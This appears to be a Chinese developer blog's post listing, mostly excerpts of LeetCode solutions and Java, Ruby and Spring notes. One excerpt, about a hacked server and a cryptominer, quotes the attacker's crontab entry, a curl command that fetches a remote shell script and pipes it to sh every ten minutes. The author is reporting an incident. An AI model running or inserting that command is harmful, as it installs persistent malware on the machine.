- 博客(40)
- 资源 (3)
- 问答 (9)
- 收藏
- 关注
原创 [踩坑实录] spring-boot-maven-plugin + eclipse = This is a trap!
不行,我必须记录一下坑了我一下午的这个坑。由于废话太多,先写一个brief版:eclipse有一个2003年就发现至今没修复的bug:当在eclipse里调试程序时,点击console页面上的terminate的按钮,无法触发进程的shutdown hook方法,会造成子进程无法清理干净。(没仔细看,差不多这个意思)spring-boot-maven-plugin 启动spring-...
2020-01-08 16:34:17
541
原创 【碎碎念】AtomicInteger 线程安全的整数操作类
JAVA里居然还有个AtomicInteger 类噢,自带线程安全属性。https://www.jianshu.com/p/509aca840f6d原理用通俗的说放来说,是程序直接盯着内存里的数据,当执行自增自减或其他操作的时候,会对比内存里的数据和操作发生时基于的原始数据,一致时才进行操作,若不一致说明原始值已经发生了变化,此时将会重新尝试操作。这个主要是利用了JAVA的Unsafe...
2019-12-27 14:47:58
169
原创 【碎碎念】放弃了,为什么要在java里调dll呢
公司mes系统的接口是个dll包。。现在要在java程序里调用。。。查了资料,确实有办法,但。。就算用jni调用.net dll, 生产环境里难道还要装.net framework吗?估计我的程序大概率要dockerize的,跑在linux环境里,就最好不要这样搞了吧。现在能想到的解决方案:1,.net搞个webservice提供rest api2,问问有没有jar包可以用...
2019-12-25 16:32:58
204
原创 【碎碎念】文件消失之谜
这就是一个记录debug过程的沙雕小故事。早上收到了热心用户的反馈,程序有bug,还详细的附上了重现步骤,使用的输入文件,输出目录,log,对于开发者来说简直是小天使行为。对于这么认真负责的用户,当然也要认真负责的对待。这个程序的功能大概是用matplot生成一堆图片再贴到word文档里做成一个report,看一下log,File Not Found,异常信息写的清清楚楚明明白白,那一...
2019-04-05 15:34:37
299
原创 [LeetCode][初级算法][动态规划] 打家劫舍
https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/23/dynamic-programming/57/你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。给定...
2018-09-03 13:43:53
191
原创 [LeetCode][简单算法][动态规划] 最大子序和
https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/23/dynamic-programming/56/ Given an integer array nums, find the contiguous subarray (containing at least one number) wh...
2018-08-31 16:04:21
129
原创 [LeetCode][初级算法][动态规划]买卖股票的最佳时机
https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/23/dynamic-programming/55/ 给定一个数组,它的第 i 个元素是一支给定股票第 i 天的价格。如果你最多只允许完成一笔交易(即买入和卖出一支股票),设计一个算法来计算你所能获取的最大利润。注意你不能在买入股票...
2018-07-02 11:49:57
329
原创 [LeetCode][初级算法][动态规划] 爬楼梯
https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/23/dynamic-programming/54/这道题使用穷举的方式妥妥的超过时间限制,而使用动态规划则效率很高了。主要可以这样理解,因为我们一次只能跨一步或两步,那么设走第i步有f(i)种方式,就有f(i) = f(i-1)+f(i-2)。由...
2018-06-22 14:14:00
220
原创 [LeetCode][初级算法][排序] 合并两个有序数组
https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/8/sorting-and-searching/52/乍一看像是归并排序,但是从题目来看明显是可以使用原地算法的。使用额外数组的方法很简单:void merge(int* nums1, int m, int* nums2, int n) { ...
2018-06-19 14:24:57
253
原创 [LeetCode][初级算法][树] 51 将有序数组转换为二叉搜索树
https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/7/trees/51/将一个按照升序排列的有序数组,转换为一棵高度平衡二叉搜索树。转化成平衡二叉搜索树,也就是说树的每个节点 的左右两个子树的高度差的绝对值不超过 1。因为数组是有序的,而BST的性质是左子树所有节点小于根,右子树所有节点大于根,所...
2018-05-26 23:39:36
228
原创 [LeetCode][初级数组][树] 50 二叉树的层级遍历
本题使用广度优先遍历的思路,可以轻松用实现出来(不用c的话)广度优先遍历,会用到队列。首先把根节点放进队列,然后以队列不为空为条件,每从队首取出一个节点,就把它的子节点加入队尾,这样就实现了广度优先遍历。* 如果采用先进后出的策略,则是深入优先遍历。# Definition for a binary tree node.# class TreeNode# attr_accessor :...
2018-05-20 17:01:43
174
原创 [LeetCode][初级算法][链表]46 环形链表
https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/6/linked-list/46/这题不要求返回环的入口,算是比较初级的题,然而我自己还是没能想出来。判断是否成环,主要是采用了“相遇法”。也就是两个指针同时从head遍历,只不过一个步长为1,一个步长为2,如果成环,则快的那个总会在环中与慢的那个...
2018-05-17 16:06:37
156
原创 [LeetCode][初级算法][排序和搜索]53 第一个错误的版本
就是简单的二分法查找,只不过结束条件不是命中,而是知道了交界点。// Forward declaration of isBadVersion API.bool isBadVersion(int version);int firstBadVersion(int n) { long i = 1; long j = n; long m; while(j-i>0...
2018-05-17 11:40:51
235
原创 [LeetCode][算法初级][链表]45 回文链表
这道题反而递归的算法比较容易想到了,首先要先递归到链表的末尾,再递归返回时与链表头的元素开始比较。感觉还有优化的空间,比如当tail和front交汇时停止比较?但是反而递归的算法不太容易操作../** * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode ...
2018-05-16 19:12:33
218
原创 [LeetCode][初级算法][链表]44 合并两个有序链表
这道题想要提高效率,必须考虑到的一点是,当一其中一个链表空了的时候,可以直接把另一个链表剩余部分整个拼上去,不需要一个一个遍历。 /** * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode *next; * }; */struct ListNode*...
2018-05-16 18:38:38
142
原创 [LeetCode][初级算法][链表]43反转链表
要求用两种方法,迭代和递归。迭代方法:/** * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode *next; * }; */struct ListNode* reverseList(struct ListNode* head) { ...
2018-05-16 18:00:11
149
原创 [LeetCode][初级算法][字符串] 32-37
32 反转字符串没啥好说的:char* reverseString(char* s) { int i=0; int len = strlen(s); int j = len-1; while(i<j){ s[i]=s[i]^s[j]; s[j]=s[i]^s[j]; s[i]=s[i]^s[j]; ...
2018-05-15 20:10:25
197
原创 [LeetCode][算法初级][链表] 42 删除链表的倒数第n个节点
https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/6/linked-list/42/题目中要求只遍历一次,我的思路是,想象一根长度为n的绳子,先把一头定在head,然后遍历,当超出了长度n的时候,把固定的head的那端向后拉扯。这样,当遍历完了的时候,另一端正好停留在倒数第n项上。考虑到有可能要删...
2018-05-13 21:00:36
165
原创 [LeetCode][算法初级][字符串]40 最长共同前缀
https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/5/strings/40/思路是很简单的,就是逐个比较。但是我的想法是,先两两比较,然后把得到的前缀再和后面的比较,全部比较一遍以后就得到了最大前缀了。int lcp(char *str1, char* str2, int size){ i...
2018-05-13 18:14:30
170
原创 [LeetCode][算法初级][字符串]39 数数并说 (count and say)
https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/5/strings/39/题目挺奇怪的,看了一会才知道是什么意思。。就是让你去数一个字符串的数字,并且把你说出来的内容作为下一个字符串继续数。比如:第一个字符串是“1”,你就要数:"1个1!",同时写下”11“作为下一个字符串。然后你再数”2个1!...
2018-05-13 18:08:18
201
原创 [LeetCode][算法初级][字符串]38 实现strStr()
https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/5/strings/38/也就是一个查找子串的问题,思路很容易想到,从两个字符串相同的第一个字符开始往后比较,如果遇到不同的字符则结束本次比较,将大字符串的指针后移,并重复此过程。我一开始的实现是这样的:int strStr(char* hayst...
2018-05-13 18:01:15
137
原创 [LeetCode][算法初级][数组] 31 旋转图像
31 旋转图像https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/1/array/31/这个题目牵扯到了矩阵的性质了(?)数学不好真的很虚啊!!总之,虽然不是我想出来的,可以发现,旋转90度等于先把矩阵转置,再把每行置逆。按照这个思路就好操作了。转置就是以对角线为轴翻转,也就是 [i,j] [j,i...
2018-05-10 18:17:31
110
原创 [LeetCode][算法初级][数组] 30 有效的数独
30 有效的数独https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/1/array/30/写一下题目吧判断一个 9x9 的数独是否有效。只需要根据以下规则,验证已经填入的数字是否有效即可。数字 1-9 在每一行只能出现一次。数字 1-9 在每一列只能出现一次。数字 1-9 在每一个以粗实线分隔的 3...
2018-05-10 18:09:53
259
原创 [LeetCode][算法初级][数组] 27-29
27 加一https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/1/array/27/很简单,数组从最后往前遍历,记录进位的情况,当不需要进位或结束时退出。结束后最后如果还需要进位,则在数组最前插入1.# @param {Integer[]} digits# @return {Integer[]}...
2018-05-10 17:53:06
112
原创 [LeetCode][算法初级][数组]26 两个数组的交集II
26 两个数组的交集IIhttps://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/1/array/26/我的原始思路是先排序,再依次比较。对两个数组交替递增下标进行遍历,复杂度是O(n)。因为是已经排序过的数组,只要将相对较小的数组元素的下标递增,直到找到相同元素,或超过另一数组的当前元素,再递增另一数组...
2018-05-09 16:37:20
155
原创 [LeetCode][算法初级][数组] 25.只出现一次的数字
25 只出现一次的数字https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/1/array/25/用到异或去重的方法。异或(^)运算有如下性质:交换率 a^b = b^a结合律 a^b^c = a^(b^c)a^a=0; a^0=a; a^(-1)=~a;去重利用的当然是a^a=0,a^0=a这2条性...
2018-05-09 15:32:45
130
原创 [LeetCode][算法初级] [数组] 21-24
1 从排序数组中删除重复元素https://leetcode-cn.com/explore/interview/card/top-interview-questions-easy/1/array/21/维护两个下标,一个代表处理完成的数组的末尾,一个代表正在被处理的下标。遍历数组,将不重复的数字顺次放进数组前部即可。int removeDuplicates(int* nums, int numsS...
2018-05-09 14:25:03
160
转载 What is mutex?
When I am having a big heated discussion at work, I use a rubber chicken which I keep in my desk for just such occasions. The person holding the chicken is the only person who is allowed to talk. If y
2016-11-02 10:40:15
442
原创 服务器被攻击,minerd进程为什么和ntp扯上了
昨天服务器被中了木马,发现crontab里被人加了一个*/10 * * * * curl -fsSL https://r.chanstring.com/pm.sh?0706 | sh打开这个脚本看了下:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL https
2016-07-16 18:10:24
1752
原创 【JACOB问题】类Workbooks的Open方法无效&无法关闭打开的进程
问题现象:1. 如果使用excel组件,则报错:workbook没有open方法2.如果使用et组件,直接就获取不到组件,can't get clsid object from progid信息搜集:http://blog.sina.com.cn/s/blog_6248dc000100g26c.html 是不是远程调用才会出问题?使用COM组件实现对
2015-11-01 17:33:25
15049
2
原创 【rubycas-server】遇到的一些问题记录
明明都已经装好了,但是就是报这个错误。后来调查发现,rubycas-server-1.1.2使用activerecord-3.0.20。 而这个版本的activerecord总是试图从自己的目录里读取mysql2_adapter.rb文件,但是他自己又没有。好像3.2.21版本的activerecord里就包含有该文件了。于是单独安装activerecord-mysql2-adap
2015-10-07 13:07:34
630
原创 2. 算法基础总题
2-1 (在归并排序中对小数组使用插入排序)虽然归并排序的最坏情况运行时间为Θ(nlgn),而插入排序的最坏情况是Θ(n²),但是插入排序中的常量因子可能使得它在n较小时,在许多机器上实际运行的更快。因此,在归并排序中当子问题变的足够小时,采用插入排序来使递归的叶变粗是有意义的。考虑对归并排序的一种修改,其中使用插入排序来排序长度为k的n/k个子表,然后使用标准的合并机制来合并这些子表,这里k是一
2015-08-06 16:51:34
644
原创 2.3 设计算法
知识分治模式分解:原问题分为若干子问题,这些子问题都是原问题的规模较小的实例。解决:递归求解各子问题。当子问题规模足够小则直接求解。合并:合并这些子问题的解成原问题的解。归并排序分解:分解带排序的n个元素的序列为两个n/2的子序列。解决:使用归并排序递归地排序两个子序列。合并:合并两个已排序的子序列产生已排序的答案。当排序序列长度为1时,递归开始回升。下面是用R
2015-08-04 11:00:15
615
原创 2.2 分析算法
知识算法的运行时间依赖于输入规模以及每行语句的执行代价。执行代价被常量化,现在只考虑输入规模增加带来的增长量级,取影响最大的一项作为算法的执行时间。分析一个算法的运行时间:假设每一行代码的执行代价 算出每一行代码的执行次数 每一行代码的执行次数*代价的总和就是运行时间 取最差情况下的运行时间作为算法的预测运行时间习题2
2015-07-30 14:39:09
1034
翻译 为什么我们应该为Ruby2.0的GC感到excited!
你们可能听说了 Innokenty Mihailov’s great Enumerable::Lazy feature 是如何被收入Ruby的基础代码.但是你可能没有听说在一月被整合进ruby2.0的另一个更重要的变化:一个叫做“Bitmap Maiking”的GC新算法。这个精致且富于创新的变化的幕后开发者,Narihiro Nakamura, 至少从08年就开始了对此的研究,并且实现了
2015-07-28 10:25:29
518
原创 关于Ruby的GC
对比Ruby和Python的GC关于Ruby2.0的GCRuby的GC基于标记回收算法 。RubyVM在启动之初就会新建好好大量的对象,放在一个空闲对象链表中(freelist),待代码新建对象时就可以很方便的取用。这样被取用的对象就被从freelist里移除,freelist将越来越短。最终freelist耗尽时,GC被触发。首先,Ruby将停止程序的执行,Rub
2015-07-27 15:59:25
657
原创 Delete Node in a Linked List
题目是这样的: Write a function to delete a node (except the tail) in a singly linked list, given only access to that node.Supposed the linked list is 1 -> 2 -> 3 -> 4 and you are given the third node with
2015-07-27 15:52:17
335
原创 2.1 插入排序
插入排序:对于插入排序法很形象的描述就是,打牌的你手上握着一手无序的牌,现在你需要将它们按顺序排好。于是,你从第二张牌开始,对比和之前的牌的大小并选择正确的位置插入。第二张牌插完了,就拿第三张牌和前面两张牌比较,然后插入合适的位置。如此到最后一张牌结束。下面用代码简单实现一下。Array insertion (Array arr){ for(int
2015-07-25 16:54:46
416
希望把本机收到的发给指定IP的包交由本机一个程序处理,可以通过什么来实现?
2018-07-09
和ifconfig添加虚拟网卡等价的ip命令是什么?
2016-12-19
C语言二维数组内存是怎么分配的?
2016-12-08
把jar包打包成exe的原理是什么?为什么打包成exe就不兼容32位和64位JVM了呢?
2015-07-21
在VM里装centOS,电脑连得是无线路由器,centOS的网络怎么配置?
2015-07-14
【Raphael】在IE9及以上版本的IE中对于path的拖动表现不正常
2015-04-08
JavaScript字符串长度是字符长度还是16位编码长度?
2015-01-15
JAVA中所有类都是Class类的实例,那么Class类是自己的实例吗?
2015-01-14
【RUBY】Win32下,Process.kill("INT",pid)报错
2015-01-12
TA创建的收藏夹 TA关注的收藏夹
TA关注的人